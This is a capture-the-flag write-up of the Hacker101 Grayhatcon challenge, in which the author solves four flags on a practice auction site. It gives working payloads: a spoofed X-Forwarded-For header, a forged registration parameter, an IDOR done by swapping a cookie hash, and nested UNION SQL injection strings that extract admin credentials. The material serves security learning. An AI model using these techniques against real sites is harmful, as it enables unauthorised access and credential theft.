The CTF is live on Hacker101 as Grayhatcon CTF – Hacker101 CTF

The CTF was built upon real vulnerabilities found during bug bounties. It had four flags – 250 points each.

Objective - Hackerone’s Username and Password database has been leaked and put on an auction. Our task was to delete the auction listing before anyone buys it.

We were given an IP, which resolved to a web application. On performing some basic information gathering, I found out some stuff.

  • robots.txt
  • application logic/flow
  • Auction listing and usernames, in the auctions, where hunter2 was auctioning the “HackerOne Username/Password List”.
  • hunter2 hash – this can be obtained using the password reset functionality. – cf505baebbaf25a0a4c63eb93331eb36

My case was a bit weird, I found the second flag first and then the first one.

Flag 2

Type of vulnerability: IP Spoofing

In robots.txt, we found a path – /s3cr3t-4dm1n/ but was 403 Forbidden, so we can try hitting the contents inside to see if we find anything, I used ffuf to fuzz the directory to get some more information.

$ ffuf -u http://18.221.103.140/s3cr3t-4dm1n/FUZZ -w ~/Tools/SecLists/Discovery/Web-Content/common.txt

...
.htaccess               [Status: 200, Size: 69, Words: 8, Lines: 5]
...

Here we have a configuration file for Apache web server. Upon analyzing the file, we came to know that the path can only be accessible by 8.8.8.8 or 8.8.4.4, so X-headers to our rescue…

curl http://18.221.103.140/s3cr3t-4dm1n -H "X-Forwarded-For: 8.8.8.8"

And this gave us the second flag –

flag{h1_ip_spoof}

And led us to a new login page, which was not accessible earlier on /s3cr3t-4dm1n/. Recommended approach is to use Burp’s Match and Replace functionality.

Reference to real world vulnerability: https://www.f5.com/company/blog/security-rule-zero-a-warning-about-x-forwarded-for

Flag 1

Type of vulnerability – Issue in Input Validation

While enumerating the web application, we came across 5 forms, and some of them doing similar stuff, like – registration. One was registering a subuser (It can be created, after a user has registered itself first, then they will be able to create sub users to manage the auction) and other while creating a normal user.

There was some difference in the two registration forms, While creating a normal user,

new_username=username&new_password=password

While creating a subuser,

owner_hash=ad01741a8abaaffd7ca5b2033503b65f&new_username=subusername&new_password=subpassword

where the owner_hash is the hash allocated to the main user, that is creating the subuser. Both the forms were having same functionality, so on adding a additional parameter, while creating a normal user should work fine.

We can try to create a sub user under the hunter2’s account by supplying the owner_hash while creating a new user using the main registration form.

POST /register HTTP/1.1
Host: 18.221.103.140
Content-Length: 87
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://18.221.103.140
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://18.221.103.140/register
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close

owner_hash=cf505baebbaf25a0a4c63eb93331eb36&new_username=partypooper&new_password=partypooper

And this created a sub user, and logged me in, but still have to validate the subuser from the hunter2‘s account, but the good thing was it gave us a flag.

flag{h1_validate_that_input}

Reference to real world vulnerability: https://www.wordfence.com/blog/2020/02/critical-vulnerability-in-profile-builder-plugin-allowed-site-takeover/

Flag 3

Type of vulnerability: IDOR

The next task was to enable the sub user from hunter2‘s account. This flag was easy! The users that create sub users had a list of users and they can enable and disable them as when needed.

We can create a normal user and use it’s enable/disable functionality, to trick the system to think it’s hunter2. All we needed was to hashes of both the users – hunter2 and partypooper(this is in its profile).

The modified response was,

POST /dashboard/subusers HTTP/1.1
Host: 18.221.103.140
Content-Length: 58
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://18.221.103.140
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://18.221.103.140/dashboard/subusers
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: token=YTc1OTljZjBhYWM4OTMyM2IzYzY2YjY0Y2EyNDdhNmMwM2ZmYzc5NzNmOWFiY2VjNTkzNTM3ZTYzZGI4ZGY0NTQ0NWNjNTE0NDlhMGMyZTQzM2ZiNTBhYTg0ZDFkZDNjMGM5MWRhMWViMzgwZGJkMmJlNTE5OGJlMzJlMTQ1MzA%3D; userhash=cf505baebbaf25a0a4c63eb93331eb36
Connection: close

hash=ce0cbbfa5262c733d9d545e1a3a65052&enable_toggle=enable

In the above response, hash contains the partypooper‘s hash and userhash contains hunter2‘s hash, then intercepted the response and modified the Set-Cookie from there to userhash to the hash of hunter2. And this worked its magic and gave another flag…FLAG 3.

flag{h1_watch_for_idors}

Flag 4

Type of vulnerability – SQLi

This flag was a bit tricky, it was sqli under sqli. So, while skimming through the pages in initial stage, we found JS code, and there we found an endpoint but it was not available to us earlier but now it works for us.

The vulnerability was foun in the same end point – /question?id=.

A quick check proved the possibility of sqli,

http://18.221.103.140/dashboard/auctions/questions?id=5+AND+0--
{"error":"Invalid auction type ID entered"}


http://18.221.103.140/dashboard/auctions/questions?id=5+AND+1--
{"name":"Other","questions":[{"question":"Description","field_name":"field_2399_355313"}],"auctions":[{"id":"4","title":"WiFi Pineapple"},{"id":"8","title":"HackerOne Username\/Password List"}]}

After trying out payloads, one payload gave different output –

-1+union+select+1,2,3--

The response was {"error":"Invalid JSON detected"}, maybe it was expecting a valid json format. So there are three fields in the json response presented by other ids [1,2,3,4,5]

  • name
  • questions
  • auctions
{"name":"Other","questions":[{"question":"Description","field_name":"field_2399_355313"}],"auctions":[{"id":"4","title":"WiFi Pineapple"},{"id":"8","title":"HackerOne Username\/Password List"}]}

In the above SQL payload, there are three variables, that we can change and in the JSON there are three keys that, The first parameter,

  • 1 – controls the auctions, these are same as id – [1..5] gives results from the database.
  • 2 – controls the name
  • 3 – controls the questions

We can’t do much with auctions, as we do not control it. The questions parameter is expecting a json format, so providing ‘[{“a”:”b”}]’ allows to run our query and give some results we could start to work on.

http://18.221.103.140/dashboard/auctions/questions?id=0+union+select+5,2,%27[{%22a%22:%22b%22}]%27--

{"name":"2","questions":[{"a":"b"}],"auctions":[{"id":"4","title":"WiFi Pineapple"},{"id":"8","title":"HackerOne Username\/Password List"}]}

The first parameter was returning some information in the json body, so manipulating it might give some substantial result.

So, basically it’s a case of SQLi under SQLi – SQLi Inception!

Inception Image

Test Payload 1:

0+union+select+'0+union+select+1,2,3,4,5,6,7,8,9',1,'[]'--

The query showed different result when we used 9 columns as parameters – {"name":"1","questions":[],"auctions":[{"id":"1","title":"6"}]}, it updated the auctions body. This gave us two parameters that we can control – 1 and 6.

We need to find more information about, how data is stored in the database, and we can use information_schema for it.

Firstly, we need to find out table name, which was done using,

0+union+select+'0+union+select+table_name,2,3,4,5,6,7,8,9+from+information_schema.tables',1,'[]'--

which gave out a list of tables, one of which was admin – the most interesting one. We can follow it by finding out the columns –

0+union+select+'0+union+select+column_name,2,3,4,5,6,7,8,9+from+information_schema.columns',1,'[]'--

and this gave username and password and and passing it in the query resulted in leaking sensitive data to us.

So, the winning URL and it’s response was

http://18.221.103.140/dashboard/auctions/questions?id=0+union+select+%270+union+select+username,2,3,4,5,password,7,8,9+from+admin%27,2,%27[]%27-- 

{"name":"2","questions":[],"auctions":[{"id":"h4ckerbayadmin","title":"auction$rFun!"}]}

We now have the credentials which can be used to login into /s3cr3t-4dm1n/, supply the auction hash (8ylbbgs2), found earlier from the auction listing in the subuser – partypooper‘s account, and delete the auction to complete the CTF with the last flag!

flag{h1_you_saved_the_day}

So, there are four of us who completed this challenge and congratulations to everyone who played! It was a fun learning weekend!

Leaderboard

Thanks Adam for creating such amazing CTF, and yeah for the hints 😉